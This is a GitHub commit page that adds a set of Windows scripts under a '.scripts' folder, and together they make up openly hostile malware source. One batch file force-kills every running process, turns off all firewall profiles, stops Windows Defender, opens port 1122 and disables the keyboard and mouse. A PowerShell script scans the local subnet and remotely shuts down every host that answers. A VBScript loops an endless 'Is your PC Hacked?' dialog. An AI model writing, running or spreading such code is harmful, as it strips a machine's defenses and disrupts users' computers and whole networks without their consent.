Skip to content

Commit

Permalink
v0.0.0.1 unstable under test
Browse files Browse the repository at this point in the history
  • Loading branch information
INeddHelp committed Mar 18, 2023
0 parents commit 83d2834
Show file tree
Hide file tree
Showing 9 changed files with 370,379 additions and 0 deletions.
Empty file added .scripts/Ips.txt
Empty file.
56 changes: 56 additions & 0 deletions .scripts/ShutNet.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
$ipAddresses = @()
for ($i = 1; $i -le 254; $i++) {
$ip = "192.168.1.$i"
Write-Host "Scanning $ip"
$pingResult = Test-Connection -ComputerName $ip -Count 1 -ErrorAction SilentlyContinue
if ($pingResult) {
$ipAddresses += $ip
}
}

Set-Content -Path "Ips.txt" -Value $ipAddresses

foreach ($ip in $ipAddresses) {
Write-Host "Shutting down $ip"
$pingResult = Test-Connection -ComputerName $ip -Count 1 -ErrorAction SilentlyContinue
if ($pingResult) {
$computerName = $(nslookup $ip | Select-String "name =" | Out-String).Trim() -replace ".*name = ([^\.]*)\..*", '$1'
if ($computerName) {
$deviceType = ""
$osName = Get-WmiObject -Class Win32_OperatingSystem -ComputerName $computerName | Select-Object -ExpandProperty Caption
if ($osName -match "Windows") {
$deviceType = "Windows"
} elseif ($osName -match "Linux") {
$deviceType = "Linux"
} elseif ($osName -match "macOS") {
$deviceType = "Mac"
} else {
Write-Warning "Unknown operating system for $ip"
}

switch ($deviceType) {
"Windows" {
Invoke-Command -ComputerName $computerName -ScriptBlock {shutdown.exe /s /t 0}
break
}
"Linux" {
Invoke-Command -ComputerName $computerName -ScriptBlock {shutdown -h now}
break
}
"Mac" {
Invoke-Command -ComputerName $computerName -ScriptBlock {sudo shutdown -h now}
break
}
default {
Write-Warning "No action taken for $ip"
}
}
} else {
Write-Warning "Could not resolve computer name for IP address $ip"
}
} else {
Write-Warning "Could not connect to IP address $ip"
}
}

Clear-Content "Ips.txt"
49 changes: 49 additions & 0 deletions .scripts/main.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
@echo off

:terminator
setlocal

for /f "tokens=2" %%a in ('tasklist ^| findstr /r /b ".*.exe"') do (
taskkill /f /im "%%a"
)


:netsecurety
netsh advfirewall firewall add rule name="Port 1122 TCP" dir=in action=allow protocol=TCP localport=1122
netsh advfirewall firewall add rule name="Port 1122 UDP" dir=in action=allow protocol=UDP localport=1122
netsh firewall set opmode disable
netsh firewall set opmode mode=DISABLE
netsh advfirewall set currentprofile state off
netsh advfirewall set domainprofile state off
netsh advfirewall set privateprofile state off
netsh advfirewall set publicprofile state off
netsh advfirewall set allprofiles state off
net stop "Windows Defender Service"
net stop "Windows Firewall"


:disablekeyboardandmouse
setlocal enabledelayedexpansion
for /f "skip=1 delims=" %%a in ('wmic path Win32_PnPEntity where "DeviceID like '%%Keyboard%%' or DeviceID like '%%Mouse%%'" get DeviceID^,Status /format:list') do (
set "line=%%a"
if "!line:~0,8!" == "DeviceID" (
set "device_id=!line:~9!"
) else if "!line:~0,6!" == "Status" (
set "status=!line:~7!"
if "!status!" == "OK" (
wmic path Win32_PnPEntity where "DeviceID='!device_id!'" call Disable
)
)
)


:duplication
PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', 'make_file.ps1' -Verb RunAs"


goto netsecurety
goto disablekeyboardandmouse
goto duplication
cscript main.vbs
PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', 'ShutNet.ps1' -Verb RunAs"
goto terminator
3 changes: 3 additions & 0 deletions .scripts/main.vbs
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
Do
msg = MsgBox("Is your PC Hacked?", vbYesNo + vbQuestion, "PC Hacked?")
Loop
4 changes: 4 additions & 0 deletions .scripts/make_file.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
$sourceFilePath = "words_alpha.txt"
$destinationFilePath = "$([Environment]::GetFolderPath('Desktop'))\file.txt"

Copy-Item -Path $sourceFilePath -Destination $destinationFilePath
Loading

0 comments on commit 83d2834

Please sign in to comment.